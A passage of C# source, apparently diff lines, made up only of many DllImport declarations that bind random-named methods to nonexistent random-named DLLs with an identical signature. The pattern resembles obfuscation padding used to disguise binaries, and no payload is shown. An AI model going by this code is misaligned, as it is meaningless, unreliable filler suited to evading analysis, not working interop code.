gODXOFSdMLyyaiuXqWtMY); - - [DllImport("dYZXcNGOrTEUYaSrUyjfTneV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MKEWTpZkpmxPQlmvUBetagzIx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string jtcbPCcyLZHYLPocaUmjGcB, - string[] HDORgCDNWRuKdxQLzfopns, - char dXeIVUkoriIXPzhjFhlzK); - - [DllImport("wSGPmhLNtOTbRwFGEJgnuZll.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] esfSsPOqXpbfFfqkDzWsRJFRh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BFIyYngQxBVxCQMvJiiJSeH, - string[] aGdvVvHBTDZJUZVhyNVWfE, - char xbdKQjrhNIJHMwELbCCRI); - - [DllImport("YMKEWTpZkpmxPQlmvUBetagz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KCbEigODXOFSdMLyyaiuXqWtM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IxdYZXcNGOrTEUYaSrUyjfT, - string[] neVjtcbPCcyLZHYLPocaUm, - char jGcBHDORgCDNWRuKdxQLz); - - [DllImport("KesfSsPOqXpbfFfqkDzWsRJF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fopnsdXeIVUkoriIXPzhjFhlz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RhwSGPmhLNtOTbRwFGEJgnu, - string[] ZllBFIyYngQxBVxCQMvJii, - char JSeHaGdvVvHBTDZJUZVhy); - - [DllImport("IKCbEigODXOFSdMLyyaiuXqW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NVWfExbdKQjrhNIJHMwELbCCR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tMYMKEWTpZkpmxPQlmvUBet, - string[] agzIxdYZXcNGOrTEUYaSrU, - char yjfTneVjtcbPCcyLZHYLP); - - [DllImport("zfopnsdXeIVUkoriIXPzhjFh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ocaUmjGcBHDORgCDNWRuKdxQL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lzKesfSsPOqXpbfFfqkDzWs, - string[] RJFRhwSGPmhLNtOTbRwFGE, - char JgnuZllBFIyYngQxBVxCQ); - - [DllImport("yNVWfExbdKQjrhNIJHMwELbC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MvJiiJSeHaGdvVvHBTDZJUZVh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CRIKCbEigODXOFSdMLyyaiu, - string[] XqWtMYMKEWTpZkpmxPQlmv, - char UBetagzIxdYZXcNGOrTEU); - - [DllImport("PocaUmjGcBHDORgCDNWRuKdx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YaSrUyjfTneVjtcbPCcyLZHYL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QLzfopnsdXeIVUkoriIXPzh, - string[] jFhlzKesfSsPOqXpbfFfqk, - char DzWsRJFRhwSGPmhLNtOTb); - - [DllImport("QMvJiiJSeHaGdvVvHBTDZJUZ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RwFGEJgnuZllBFIyYngQxBVxC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VhyNVWfExbdKQjrhNIJHMwE, - string[] LbCCRIKCbEigODXOFSdMLy, - char yaiuXqWtMYMKEWTpZkpmx); - - [DllImport("UYaSrUyjfTneVjtcbPCcyLZH.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PQlmvUBetagzIxdYZXcNGOrTE( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YLPocaUmjGcBHDORgCDNWRu, - string[] KdxQLzfopnsdXeIVUkoriI, - char XPzhjFhlzKesfSsPOqXpb); - - [DllImport("bRwFGEJgnuZllBFIyYngQxBV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fFfqkDzWsRJFRhwSGPmhLNtOT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xCQMvJiiJSeHaGdvVvHBTDZ, - string[] JUZVhyNVWfExbdKQjrhNIJ, - char HMwELbCCRIKCbEigODXOF); - - [DllImport("xPQlmvUBetagzIxdYZXcNGOr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SdMLyyaiuXqWtMYMKEWTpZkpm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TEUYaSrUyjfTneVjtcbPCcy, - string[] LZHYLPocaUmjGcBHDORgCD, - char NWRuKdxQLzfopnsdXeIVU); - - [DllImport("bfFfqkDzWsRJFRhwSGPmhLNt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] koriIXPzhjFhlzKesfSsPOqXp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OTbRwFGEJgnuZllBFIyYngQ, - string[] xBVxCQMvJiiJSeHaGdvVvH, - char BTDZJUZVhyNVWfExbdKQj); - - [DllImport("FSdMLyyaiuXqWtMYMKEWTpZk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rhNIJHMwELbCCRIKCbEigODXO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pmxPQlmvUBetagzIxdYZXcN, - string[] GOrTEUYaSrUyjfTneVjtcb, - char PCcyLZHYLPocaUmjGcBHD); - - [DllImport("UkoriIXPzhjFhlzKesfSsPOq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ORgCDNWRuKdxQLzfopnsdXeIV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XpbfFfqkDzWsRJFRhwSGPmh, - string[] LNtOTbRwFGEJgnuZllBFIy, - char YngQxBVxCQMvJiiJSeHaG); - - [DllImport("jrhNIJHMwELbCCRIKCbEigOD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dvVvHBTDZJUZVhyNVWfExbdKQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XOFSdMLyyaiuXqWtMYMKEWT, - string[] pZkpmxPQlmvUBetagzIxdY, - char ZXcNGOrTEUYaSrUyjfTne); - - [DllImport("DORgCDNWRuKdxQLzfopnsdXe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VjtcbPCcyLZHYLPocaUmjGcBH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IVUkoriIXPzhjFhlzKesfSs, - string[] POqXpbfFfqkDzWsRJFRhwS, - char GPmhLNtOTbRwFGEJgnuZl); - - [DllImport("GdvVvHBTDZJUZVhyNVWfExbd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lBFIyYngQxBVxCQMvJiiJSeHa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KQjrhNIJHMwELbCCRIKCbEi, - string[] gODXOFSdMLyyaiuXqWtMYM, - char KEWTpZkpmxPQlmvUBetag); - - [DllImport("eVjtcbPCcyLZHYLPocaUmjGc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zIxdYZXcNGOrTEUYaSrUyjfTn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BHDORgCDNWRuKdxQLzfopns, - string[] dXeIVUkoriIXPzhjFhlzKe, - char sfSsPOqXpbfFfqkDzWsRJ); - - [DllImport("llBFIyYngQxBVxCQMvJiiJSe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FRhwSGPmhLNtOTbRwFGEJgnuZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HaGdvVvHBTDZJUZVhyNVWfE, - string[] xbdKQjrhNIJHMwELbCCRIK, - char CbEigODXOFSdMLyyaiuXq); - - [DllImport("gzIxdYZXcNGOrTEUYaSrUyjf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] WtMYMKEWTpZkpmxPQlmvUBeta( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TneVjtcbPCcyLZHYLPocaUm, - string[] jGcBHDORgCDNWRuKdxQLzf, - char opnsdXeIVUkoriIXPzhjF); - - [DllImport("JFRhwSGPmhLNtOTbRwFGEJgn.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hlzKesfSsPOqXpbfFfqkDzWsR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uZllBFIyYngQxBVxCQMvJii, - string[] JSeHaGdvVvHBTDZJUZVhyN, - char VWfExbdKQjrhNIJHMwELb); - - [DllImport("qWtMYMKEWTpZkpmxPQlmvUBe.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CCRIKCbEigODXOFSdMLyyaiuX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tagzIxdYZXcNGOrTEUYaSrU, - string[] yjfTneVjtcbPCcyLZHYLPo, - char caUmjGcBHDORgCDNWRuKd); - - [DllImport("FhlzKesfSsPOqXpbfFfqkDzW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xQLzfopnsdXeIVUkoriIXPzhj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sRJFRhwSGPmhLNtOTbRwFGE, - string[] JgnuZllBFIyYngQxBVxCQM, - char vJiiJSeHaGdvVvHBTDZJU); - - [DllImport("bCCRIKCbEigODXOFSdMLyyai.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZVhyNVWfExbdKQjrhNIJHMwEL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uXqWtMYMKEWTpZkpmxPQlmv, - string[] UBetagzIxdYZXcNGOrTEUY, - char aSrUyjfTneVjtcbPCcyLZ); - - [DllImport("dxQLzfopnsdXeIVUkoriIXPz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] HYLPocaUmjGcBHDORgCDNWRuK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hjFhlzKesfSsPOqXpbfFfqk, - string[] DzWsRJFRhwSGPmhLNtOTbR, - char wFGEJgnuZllBFIyYngQxB); - - [DllImport("UZVhyNVWfExbdKQjrhNIJHMw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VxCQMvJiiJSeHaGdvVvHBTDZJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ELbCCRIKCbEigODXOFSdMLy, - string[] yaiuXqWtMYMKEWTpZkpmxP, - char QlmvUBetagzIxdYZXcNGO); - - [DllImport("ZHYLPocaUmjGcBHDORgCDNWR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rTEUYaSrUyjfTneVjtcbPCcyL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uKdxQLzfopnsdXeIVUkoriI, - string[] XPzhjFhlzKesfSsPOqXpbf, - char FfqkDzWsRJFRhwSGPmhLN); - - [DllImport("BVxCQMvJiiJSeHaGdvVvHBTD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tOTbRwFGEJgnuZllBFIyYngQx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZJUZVhyNVWfExbdKQjrhNIJ, - string[] HMwELbCCRIKCbEigODXOFS, - char dMLyyaiuXqWtMYMKEWTpZ); - - [DllImport("OrTEUYaSrUyjfTneVjtcbPCc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kpmxPQlmvUBetagzIxdYZXcNG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yLZHYLPocaUmjGcBHDORgCD, - string[] NWRuKdxQLzfopnsdXeIVUk, - char oriIXPzhjFhlzKesfSsPO); - - [DllImport("NtOTbRwFGEJgnuZllBFIyYng.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qXpbfFfqkDzWsRJFRhwSGPmhL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QxBVxCQMvJiiJSeHaGdvVvH, - string[] BTDZJUZVhyNVWfExbdKQjr, - char hNIJHMwELbCCRIKCbEigO); - - [DllImport("ZkpmxPQlmvUBetagzIxdYZXc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DXOFSdMLyyaiuXqWtMYMKEWTp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NGOrTEUYaSrUyjfTneVjtcb, - string[] PCcyLZHYLPocaUmjGcBHDO, - char RgCDNWRuKdxQLzfopnsdX); - - [DllImport("cElDosTsFyROkGeXTevLgTdB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] eIVUkoriIkdNvxSuzNXsGtfHd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vZbHbhoeKTUSXuBImzyPSVN, - string[] mBteMOiLQdaJWvvXfsUoTr, - char JjKVPhQmWhnjuMbiktRMp); - - [DllImport("cRlbSgqZZMMnwJkFjIalaXRj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rYexGuaWWVZLRYpQPfVYQoSwu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gEnxEzMcdyBKhPrIouOWLqm, - string[] mlqbUbGgSilogFiNwshCsi, - char wHppcPqNZnVmYcDqnhzwU); - - [DllImport("krWjiyCFwVkdNvxSuzNXsGtf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pOUQcftPRakfJYqLeYOtDDCHr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HdcElDosTsFyROkGeXTevLg, - string[] TdBvZbHbhoeKTUSXuBImzy, - char PSVNmBteMOiLQdaJWvvXf); - - [DllImport("prYexGuaWWVZLRYpQPfVYQoS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sUoTrJjKVPhQmWhnjuMbiktRM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wucRlbSgqZZMMnwJkFjIala, - string[] XRjgEnxEzMcdyBKhPrIouO, - char WLqmmlqbUbGgSilogFiNw); - - [DllImport("UpOUQcftPRakfJYqLeYOtDDC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] shCsiwHppcPqNZnVmYcDqnhzw( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HrkrWjiyCFwVkdNvxSuzNXs, - string[] GtfHdcElDosTsFyROkGeXT, - char evLgTdBvZbHbhoeKTUSXu); - - [DllImport("fsUoTrJjKVPhQmWhnjuMbikt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BImzyPSVNmBteMOiLQdaJWvvX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RMprYexGuaWWVZLRYpQPfVY, - string[] QoSwucRlbSgqZZMMnwJkFj, - char IalaXRjgEnxEzMcdyBKhP); - - [DllImport("wshCsiwHppcPqNZnVmYcDqnh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rIouOWLqmmlqbUbGgSilogFiN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string zwUpOUQcftPRakfJYqLeYOt, - string[] DDCHrkrWjiyCFwVkdNvxSu, - char zNXsGtfHdcElDosTsFyRO); - - [DllImport("uBImzyPSVNmBteMOiLQdaJWv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kGeXTevLgTdBvZbHbhoeKTUSX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vXfsUoTrJjKVPhQmWhnjuMb, - string[] iktRMprYexGuaWWVZLRYpQ, - char PfVYQoSwucRlbSgqZZMMn); - - [DllImport("PrIouOWLqmmlqbUbGgSilogF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wJkFjIalaXRjgEnxEzMcdyBKh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string iNwshCsiwHppcPqNZnVmYcD, - string[] qnhzwUpOUQcftPRakfJYqL, - char eYOtDDCHrkrWjiyCFwVkd); - - [DllImport("OkGeXTevLgTdBvZbHbhoeKTU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NvxSuzNXsGtfHdcElDosTsFyR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SXuBImzyPSVNmBteMOiLQda, - string[] JWvvXfsUoTrJjKVPhQmWhn, - char juMbiktRMprYexGuaWWVZ); - - [DllImport("nwJkFjIalaXRjgEnxEzMcdyB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LRYpQPfVYQoSwucRlbSgqZZMM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KhPrIouOWLqmmlqbUbGgSil, - string[] ogFiNwshCsiwHppcPqNZnV, - char mYcDqnhzwUpOUQcftPRak); - - [DllImport("dNvxSuzNXsGtfHdcElDosTsF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fJYqLeYOtDDCHrkrWjiyCFwVk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yROkGeXTevLgTdBvZbHbhoe, - string[] KTUSXuBImzyPSVNmBteMOi, - char LQdaJWvvXfsUoTrJjKVPh); - - [DllImport("ZLRYpQPfVYQoSwucRlbSgqZZ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QmWhnjuMbiktRMprYexGuaWWV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MMnwJkFjIalaXRjgEnxEzMc, - string[] dyBKhPrIouOWLqmmlqbUbG, - char gSilogFiNwshCsiwHppcP); - - [DllImport("kfJYqLeYOtDDCHrkrWjiyCFw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qNZnVmYcDqnhzwUpOUQcftPRa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VkdNvxSuzNXsGtfHdcElDos, - string[] TsFyROkGeXTevLgTdBvZbH, - char bhoeKTUSXuBImzyPSVNmB); - - [DllImport("hQmWhnjuMbiktRMprYexGuaW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] teMOiLQdaJWvvXfsUoTrJjKVP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WVZLRYpQPfVYQoSwucRlbSg, - string[] qZZMMnwJkFjIalaXRjgEnx, - char EzMcdyBKhPrIouOWLqmml); - - [DllImport("PqNZnVmYcDqnhzwUpOUQcftP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qbUbGgSilogFiNwshCsiwHppc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RakfJYqLeYOtDDCHrkrWjiy, - string[] CFwVkdNvxSuzNXsGtfHdcE, - char lDosTsFyROkGeXTevLgTd); - - [DllImport("BteMOiLQdaJWvvXfsUoTrJjK.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BvZbHbhoeKTUSXuBImzyPSVNm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VPhQmWhnjuMbiktRMprYexG, - string[] uaWWVZLRYpQPfVYQoSwucR, - char lbSgqZZMMnwJkFjIalaXR); - - [DllImport("lqbUbGgSilogFiNwshCsiwHp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jgEnxEzMcdyBKhPrIouOWLqmm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pcPqNZnVmYcDqnhzwUpOUQc, - string[] ftPRakfJYqLeYOtDDCHrkr, - char WjiyCFwVkdNvxSuzNXsGt); - - [DllImport("dBvZbHbhoeKTUSXuBImzyPSV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fHdcElDosTsFyROkGeXTevLgT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NmBteMOiLQdaJWvvXfsUoTr, - string[] JjKVPhQmWhnjuMbiktRMpr, - char YexGuaWWVZLRYpQPfVYQo); - - [DllImport("RjgEnxEzMcdyBKhPrIouOWLq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SwucRlbSgqZZMMnwJkFjIalaX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mmlqbUbGgSilogFiNwshCsi, - string[] wHppcPqNZnVmYcDqnhzwUp, - char OUQcftPRakfJYqLeYOtDD); - - [DllImport("tfHdcElDosTsFyROkGeXTevL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CHrkrWjiyCFwVkdNvxSuzNXsG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gTdBvZbHbhoeKTUSXuBImzy, - string[] PSVNmBteMOiLQdaJWvvXfs, - char UoTrJjKVPhQmWhnjuMbik); - - [DllImport("oSwucRlbSgqZZMMnwJkFjIal.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] tRMprYexGuaWWVZLRYpQPfVYQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aXRjgEnxEzMcdyBKhPrIouO, - string[] WLqmmlqbUbGgSilogFiNws, - char hCsiwHppcPqNZnVmYcDqn); - - [DllImport("DCHrkrWjiyCFwVkdNvxSuzNX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hzwUpOUQcftPRakfJYqLeYOtD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sGtfHdcElDosTsFyROkGeXT, - string[] evLgTdBvZbHbhoeKTUSXuB, - char ImzyPSVNmBteMOiLQdaJW); - - [DllImport("ktRMprYexGuaWWVZLRYpQPfV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vvXfsUoTrJjKVPhQmWhnjuMbi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YQoSwucRlbSgqZZMMnwJkFj, - string[] IalaXRjgEnxEzMcdyBKhPr, - char IouOWLqmmlqbUbGgSilog); - - [DllImport("nhzwUpOUQcftPRakfJYqLeYO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FiNwshCsiwHppcPqNZnVmYcDq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tDDCHrkrWjiyCFwVkdNvxSu, - string[] zNXsGtfHdcElDosTsFyROk, - char GeXTevLgTdBvZbHbhoeKT); - - [DllImport("WvvXfsUoTrJjKVPhQmWhnjuM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] USXuBImzyPSVNmBteMOiLQdaJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string biktRMprYexGuaWWVZLRYpQ, - string[] PfVYQoSwucRlbSgqZZMMnw, - char JkFjIalaXRjgEnxEzMcdy); - - [DllImport("gFiNwshCsiwHppcPqNZnVmYc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BKhPrIouOWLqmmlqbUbGgSilo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string DqnhzwUpOUQcftPRakfJYqL, - string[] eYOtDDCHrkrWjiyCFwVkdN, - char vxSuzNXsGtfHdcElDosTs); - - [DllImport("TUSXuBImzyPSVNmBteMOiLQd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FyROkGeXTevLgTdBvZbHbhoeK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aJWvvXfsUoTrJjKVPhQmWhn, - string[] juMbiktRMprYexGuaWWVZL, - char RYpQPfVYQoSwucRlbSgqZ); - - [DllImport("yBKhPrIouOWLqmmlqbUbGgSi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZMMnwJkFjIalaXRjgEnxEzMcd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string logFiNwshCsiwHppcPqNZnV, - string[] mYcDqnhzwUpOUQcftPRakf, - char JYqLeYOtDDCHrkrWjiyCF); - - [DllImport("sFyROkGeXTevLgTdBvZbHbho.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wVkdNvxSuzNXsGtfHdcElDosT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eKTUSXuBImzyPSVNmBteMOi, - string[] LQdaJWvvXfsUoTrJjKVPhQ, - char mWhnjuMbiktRMprYexGua); - - [DllImport("ZZMMnwJkFjIalaXRjgEnxEzM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] WWVZLRYpQPfVYQoSwucRlbSgq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cdyBKhPrIouOWLqmmlqbUbG, - string[] gSilogFiNwshCsiwHppcPq, - char NZnVmYcDqnhzwUpOUQcft); - - [DllImport("FwVkdNvxSuzNXsGtfHdcElDo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PRakfJYqLeYOtDDCHrkrWjiyC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sTsFyROkGeXTevLgTdBvZbH, - string[] bhoeKTUSXuBImzyPSVNmBt, - char eMOiLQdaJWvvXfsUoTrJj); - - [DllImport("aWWVZLRYpQPfVYQoSwucRlbS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KVPhQmWhnjuMbiktRMprYexGu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gqZZMMnwJkFjIaznlfxuRBM, - string[] SOZqrNOYvcGVCIbjZFzByE, - char oipTufvzCtTvaLHuQGwLV); - - [DllImport("IdeoxsWlFZrmcIQRPUGyGjwv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EEqdEanCizmqQECvOLhEcieps( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MQTKjyrbJMgJNblGUHtUqpS, - string[] zRDHgHSMebxUskgsKYthqO, - char JmoVpuDsYhhfkIPWBNNcg); - - [DllImport("wXicueBkvBxJaowxHfZDFlrL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jbzPIrZcwZdroXkKKltGiChFX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TJojkinYfmDedtjldDfKIpe, - string[] ypguFnmaaCKWySxWnznlfx, - char uRBMSOZqrNOYvcGVCIbjZ); - - [DllImport("VEEqdEanCizmqQECvOLhEcie.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FzByEoipTufvzCtTvaLHuQGwL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string psIdeoxsWlFZrmcIQRPUGyG, - string[] jwvMQTKjyrbJMgJNblGUHt, - char UqpSzRDHgHSMebxUskgsK); - - [DllImport("gjbzPIrZcwZdroXkKKltGiCh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YthqOJmoVpuDsYhhfkIPWBNNc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FXwXicueBkvBxJaowxHfZDF, - string[] lrLTJojkinYfmDedtjldDf, - char KIpeypguFnmaaCKWySxWn); - - [DllImport("ZFzByEoipTufvzCtTvaLHuQG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] znlfxuRBMSOZqrNOYvcGVCIbj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wLVEEqdEanCizmqQECvOLhE, - string[] ciepsIdeoxsWlFZrmcIQRP, - char UGyGjwvMQTKjyrbJMgJNb); - - [DllImport("KYthqOJmoVpuDsYhhfkIPWBN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lGUHtUqpSzRDHgHSMebxUskgs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NcgjbzPIrZcwZdroXkKKltG, - string[] iChFXwXicueBkvBxJaowxH, - char fZDFlrLTJojkinYfmDedt); - - [DllImport("nznlfxuRBMSOZqrNOYvcGVCI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jldDfKIpeypguFnmaaCKWySxW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bjZFzByEoipTufvzCtTvaLH, - string[] uQGwLVEEqdEanCizmqQECv, - char OLhEciepsIdeoxsWlFZrm); - - [DllImport("blGUHtUqpSzRDHgHSMebxUsk.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cIQRPUGyGjwvMQTKjyrbJMgJN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gsKYthqOJmoVpuDsYhhfkIP, - string[] WBNNcgjbzPIrZcwZdroXkK, - char KltGiChFXwXicueBkvBxJ); - - [DllImport("tjldDfKIpeypguFnmaaCKWyS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aowxHfZDFlrLTJojkinYfmDed( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xWnznlfxuRBMSOZqrNOYvcG, - string[] VCIbjZFzByEoipTufvzCtT, - char vaLHuQGwLVEEqdEanCizm); - - [DllImport("mcIQRPUGyGjwvMQTKjyrbJMg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qQECvOLhEciepsIdeoxsWlFZr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JNblGUHtUqpSzRDHgHSMebx, - string[] UskgsKYthqOJmoVpuDsYhh, - char fkIPWBNNcgjbzPIrZcwZd); - - [DllImport("JaowxHfZDFlrLTJojkinYfmD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] roXkKKltGiChFXwXicueBkvBx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string edtjldDfKIpeypguFnmaaCK, - string[] WySxWnznlfxuRBMSOZqrNO, - char YvcGVCIbjZFzByEoipTuf); - - [DllImport("mqQECvOLhEciepsIdeoxsWlF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vzCtTvaLHuQGwLVEEqdEanCiz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZrmcIQRPUGyGjwvMQTKjyrb, - string[] JMgJNblGUHtUqpSzRDHgHS, - char MebxUskgsKYthqOJmoVpu); - - [DllImport("droXkKKltGiChFXwXicueBkv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DsYhhfkIPWBNNcgjbzPIrZcwZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string BxJaowxHfZDFlrLTJojkinY, - string[] fmDedtjldDfKIpeypguFnm, - char aaCKWySxWnznlfxuRBMSO); - - 